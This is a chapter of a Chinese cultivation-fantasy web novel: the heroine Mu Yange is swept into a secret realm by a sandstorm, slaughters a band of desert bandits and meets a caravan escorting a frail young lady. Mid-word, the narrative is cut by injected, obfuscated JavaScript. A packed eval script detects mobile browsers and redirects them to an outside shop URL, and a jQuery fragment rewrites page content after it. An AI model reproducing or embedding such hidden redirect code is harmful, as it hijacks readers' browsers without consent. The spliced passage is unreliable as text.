此言一出,众人都是悚然一惊,就连慕宴歌也悄悄竖起了耳朵。
方芷衣蹙眉道:“这是为何?”
她下意识地环顾四周,这几天的天气都颇为不错,虽然夜晚有些寒冷,但天气晴朗,万里无云,墨蓝色的夜空之上启明星高悬,照亮了前行的路径。
这……怎么看也不像是寸步难行的地步啊!
柳飒一见她的表情,便知道她对自己的话半信半疑。他也不恼,只是活动了一下身体,换了一个更舒适的坐姿,洒然一笑:“你是觉得今夜星光灿灿,能见度很高,适宜赶路?”
难道不是么?
方芷衣迟疑着点了点头。
柳飒笑着摇了摇头:“每一个初入西垣洲的人都会抱有这种天真的幻想。”
这话讽刺的意味有些浓,孟萱柳眉一竖便要开口,却被她师姐拦住。
方芷衣是单水灵根,性情也如水一般随和。虽然柳飒此言不大客气,她也并不生气,温温柔柔地笑了一下:“正要请柳道友赐教。”
柳飒挠了挠头,他说话向来随心所欲,此时才后知后觉自己失言了。
他有些羞赧,方芷衣的大度从容反而更衬得自己无理取闹,他略微不自在地干咳了两声:“不敢当‘赐教’二字,只是西垣洲的灵脉异常,十里不同天,而且经常会无端刮起灵气风暴。此刻,我们还能见到湛湛星空,也许下一刻就是乌云密布,伸手不见五指,极易在大漠中迷失方向。因此,西垣洲人才摸索出来一条‘不行夜路’的准则,代代传了下来。”
仿佛是为了印证他所言不虚,平地忽然卷起了一阵大风,霎时间飞沙走石,遮天蔽日,举目四望只能瞧见滚滚黄沙,竟连身边的同伴都难以看清。
柳飒似乎大喊了一声什么,但他的声音转瞬便消失在了隆隆的狂风之中。
风似乎越来越大了,慕宴歌不得不掐了一个“不动如山”的法诀,以免自己被狂风吹走。
土属性灵力的运转令她的周身上下都亮起了一层荧荧的黄色光芒,在黑夜之中尤为显眼。
她倒不是很担心同伴们会被狂风吹走,就连修为最低的孟萱也是筑基期第三层的境界,不至于连这场风暴都抵御不住。
不过,当她试图通过亮起的灵光来确定同伴的方位时,却是一无所获。
奇怪,难道真的被风吹走了?
她用神识点开系统地图,却发现地图上漆黑一片,无法使用。
她竟然在不知不觉间被卷入了秘境之中。
那么她的同伴们呢?是和她一样被卷入了秘境,还是仍然停留在外面的世界?
她谨慎地观察着四周,不敢擅动。
也不知过了多久,风沙渐渐止歇,她的耳边出现了嘈杂的人声。
秘境中还有其他人在?!
慕宴歌精神一振,连忙循声望去,只见不远处有一支约莫三十人的马队也在躲避风沙,但不幸的是,经过那场风暴的洗礼,队伍中那架装饰华美的马车几乎散了架,就连拉车的两匹骏马也不知所踪,显然是迷失在风沙之中了。
慕宴歌却是心中狐疑,她一眼就看出来了,这些人中只有一个身着暗红色劲装的中年女人有几分修为,其余都是毫无修为的凡人,他们是这个秘境小世界的原住民?
她想了想,还是抬步向他们走了过去。
正在试图修理马车的众人很快发现了她的存在,面上顿时露出了惶恐之色。
敢独身一人在大漠中行走的女子必然不会是普通人。而且刚刚经过了一场沙暴,他们这里人仰马翻,个个狼狈不堪,反观那年轻的女子,却是姿态从容,衣衫整洁,鬓发丝毫不乱。
那名劲装女子将眉一竖,几步迈了过来,将背后的弯刀握在手中,沉声道:“还请阁下止步。”
竟然如此戒备?
慕宴歌从善如流地停下了脚步,她露出一丝友善的微笑,语气柔和:“过路之人,因为方才的风暴迷失了路径,正欲向尊驾请教。”
原来是来问路的。
队伍中的不少人见她语气诚恳,似乎没有恶意,稍稍放松了些许。唯独那名劲装女子不肯放松戒备,她一双眼睛如苍鹰一般犀利地紧盯着她,面色不善。
慕宴歌倒也不恼,甚至还弯了弯唇角,再次冲她露出了一个微笑。
劲装女子浑身紧绷,面前的少女气息内敛,就像是一名普普通通的凡女一样,可是,凡女会独自出现在茫茫大漠之中么?
她正欲开口说些什么,却忽然脸色一变:“不好!”
慕宴歌身后忽然黄沙滚滚,马蹄声震天,一百多名黑衣蒙面的骑士正向他们冲杀过来。隔着老远,便能瞧见他们手中雪亮的砍刀,在太阳下反射出一层刺目的寒光。
劲装女子面色煞白,怎么会运气如此不好,先是遇见了风暴,接着又遭遇了横行大漠的沙匪!
她虽然是炼气期八层的修士,可是手下的兄弟都是普通人。对方人多势众,而且据她所知,沙匪的首领也是一名炼气期大圆满的修士!
她自己虽然能够全身而退,可是手下的兄弟必然要死伤惨重了!更何况……
她的目光不由自主地落在了那架华美的马车上。
慕宴歌自然将她的反应尽收眼底,看来那架马车里坐着一位极要紧的人物呢。
劲装女子虽然心中惊惧,但并未坐以待毙,她手下的人也都训练有素,一声令下便摆好了防御的架势,将那架马车护在了中间,严阵以待。
沙匪的冲刺速度极快,这么一会儿工夫已经冲到了近前,站在防御阵型以外的慕宴歌顿时吸引了他们的目光。
“老大,好一个美貌的小娘子!”
“这一趟出来真是值了!”
“老大今晚就洞房!”
众沙匪兴奋地高声叫着,污言秽语尽数飘进她的耳中,慕宴歌也不生气,她抬眸看了一眼严阵以待但难掩惊惧的众人,轻飘飘地叹息了一声:“看来黄裳女侠又要上线了呢。”
这句话很轻,很快就淹没在了呼啸的风声中,没有被任何人听见。
“呛啷——!”盼归剑出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968941|206993||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
鞘,劲装女子只来得及看到一道极细极亮的寒光,便见冲在第一排的沙匪们如被镰刀割过的麦子,齐齐倒折下来。
她以为自己的眼前出现了幻觉,嘴巴微张,呆愣愣地看着这场宛如闲庭信步一般的屠杀。
一百多人的沙匪几乎是在眨眼之间被杀得片甲不留,管你是炼气期大圆满的修士,还是普通凡人,剑光所到之处,人头滚滚,鲜血飞溅。
唯余那一群失了主人又受了惊吓的马,长嘶着四散奔逃,转眼间便消失在茫茫沙漠之中。
只剩下满地的鲜血与尸体昭示着方才发生了什么。
慕宴歌还剑入鞘,一转头见众人沉默地望着自己,宛如一片雕塑,不由微微一笑:“已经没事了。”
虽然她的声音十分轻柔,但众人看向她的眼神依然透露着深深的恐惧。
那劲装女子咽了口唾沫,勉强挤出一丝笑脸,抱拳一礼:“多谢仙长出手相救。”
她一想到先前自己的无礼举动,就恨不得穿越到过去将自己掐死。
慕宴歌不甚在意地摆了摆手,这一波人是她在秘境中遇到的第一波可交谈NPC,当然要好好询问一下:“你们是什么人?从何而来,欲往何处?”
劲装女子不敢怠慢,立刻恭声回答:“在下辛九娘,苏理城人士,此行正是护送我家主人归乡。”
慕宴歌的眸光轻飘飘地落在了她身后的马车上,看来辛九娘的主人就是一直待在车上的那位了。
不过,苏理城?
她在记忆中搜寻了一下,确定自己不曾见到过地名。
这时,却见那马车的车帘掀起了一角,露出一张苍白但娇美的脸庞:“你是逍遥宗的弟子么?”
她的声音又清又甜,还带着一丝软糯,听在耳中,只叫人觉得心都化了。
说着,她不等慕宴歌回应,又将车帘完全掀起,扶着车辕颤颤巍巍地走了下来。
“小姐!”辛九娘见她竟然出来了,脸色一变,忙不迭地上前搀扶。
这是一名约摸十五六岁的少女,生得美丽纤弱,像一枝含苞未放的新荷。不过,慕宴歌只轻轻扫了一眼,便看出她气血两虚,患有不足之症。
少女挥退了辛九娘的搀扶,向慕宴歌疾行了几步,在她的身前站定,只这么一点运动,便令她气喘起来,苍白的脸颊上也浮现出两团病态的红晕。
她身量不足,比身材高挑的慕宴歌矮了大半个头,因此不得不扬起脸,仰视着她:“你为什么不回答我的问题啊?”
逍遥宗。
慕宴歌注视着面前的少女,心中却在暗自思量,这个世界也存在逍遥宗,而且看周围的地貌与西垣洲一般无二。
难道,这就是她原本身处的世界,只是那一场风暴将她卷入了另一条时间线上?
慕宴歌微微垂下眼帘,敛去了眸中的神色,笑着将错就错:“正是。”
此言一出,她明显感觉到以辛九娘为首的众人放松了不少,看来逍遥宗的名声在这个时空颇佳,逍遥宗的弟子在外行走也能因此受益。